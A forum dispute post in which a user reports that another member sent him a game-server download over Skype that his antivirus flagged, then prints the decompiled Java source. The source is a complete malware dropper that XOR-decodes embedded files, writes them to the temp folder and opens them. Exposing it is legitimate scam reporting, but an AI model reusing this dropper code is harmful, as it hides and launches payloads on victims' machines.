Disputed member:http://osbot.org/forum/user/62294-berke203/
Thread Link:N/A
Explanation:
He sent me on skype an RSPS server link and i ran it and ESET caught it as virus so after that i decompiled it.
Evidence:
Skype Profile screenshot with chat background : http://i.imgur.com/RlmLEn3.png
Skype Chat logs:
1)http://i.imgur.com/lF8nu7l.png
2)http://i.imgur.com/hkWFOVa.png
3)http://i.imgur.com/jX8uqKL.png
4)http://i.imgur.com/mr07vog.png
5)http://i.imgur.com/LjECo9U.png
6)http://i.imgur.com/LjECo9U.png
7)http://i.imgur.com/OmxNc6Z.png
8)http://i.imgur.com/x8TjRNJ.png
9)http://i.imgur.com/5ZR8ZVA.png
10)http://i.imgur.com/DyXYY9w.png
11)http://i.imgur.com/DFTEunv.png
File Code:
Main.java
/*
* Decompiled with CFR 0_114.
*/
package de.sogomn.drop;
import de.sogomn.drop.FileDropper;
import de.sogomn.drop.XorCipher;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import java.util.ArrayList;
import java.util.function.IntFunction;
import java.util.stream.Stream;
public final class Main {
private static final String NAME_PATH = "/data";
private static final String TEMP_DIRECTORY = System.getProperty("java.io.tmpdir");
private Main() {
}
private static String[] readLines(String path) throws IOException {
InputStream in = Main.class.getResourceAsStream(path);
InputStreamReader inReader = new InputStreamReader(in);
BufferedReader reader = new BufferedReader(inReader);
ArrayList<String> lines = new ArrayList<String>();
String line = null;
while ((line = reader.readLine()) != null) {
lines.add(line);
}
reader.close();
String[] lineArray = (String[])lines.stream().toArray(n -> new String[n]);
return lineArray;
}
private static byte[] readResource(String fileName) throws IOException {
InputStream in = Main.class.getResourceAsStream("/" + fileName);
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead = 0;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
in.close();
byte[] data = out.toByteArray();
return data;
}
public static void main(String[] args) {
try {
String[] fileNames;
String[] arrstring = fileNames = Main.readLines("/data");
int n = arrstring.length;
int n2 = 0;
while (n2 < n) {
String name = arrstring[n2];
byte[] data = Main.readResource(name);
XorCipher.crypt(data);
FileDropper dropper = new FileDropper(name, data);
dropper.drop(TEMP_DIRECTORY);
++n2;
}
}
catch (IOException ex) {
ex.printStackTrace();
}
}
}
XorCipher.java
/*
* Decompiled with CFR 0_114.
*/
package de.sogomn.drop;
public final class XorCipher {
private static final byte KEY = 56;
private XorCipher() {
}
public static void crypt(byte[] data) {
int i = 0;
while (i < data.length) {
data[i] = (byte)(data[i] ^ 56);
++i;
}
}
}
FileDropper.java
/*
* Decompiled with CFR 0_114.
*/
package de.sogomn.drop;
import java.awt.Desktop;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
public final class FileDropper {
private String fileName;
private byte[] data;
public FileDropper(String fileName, byte[] data) {
this.fileName = fileName;
this.data = data;
}
private void execute(File file) throws IOException {
boolean openSupported;
Desktop desktop;
boolean desktopSupported = Desktop.isDesktopSupported();
if (desktopSupported && (openSupported = (desktop = Desktop.getDesktop()).isSupported(Desktop.Action.OPEN))) {
desktop.open(file);
}
}
public void drop(String directory) throws IOException {
File file = new File(String.valueOf(directory) + File.separator + this.fileName);
FileOutputStream out = new FileOutputStream(file);
out.write(this.data);
out.flush();
out.close();
this.execute(file);
}
}
If u need anything more lemme know.
Thanks,
Progamerz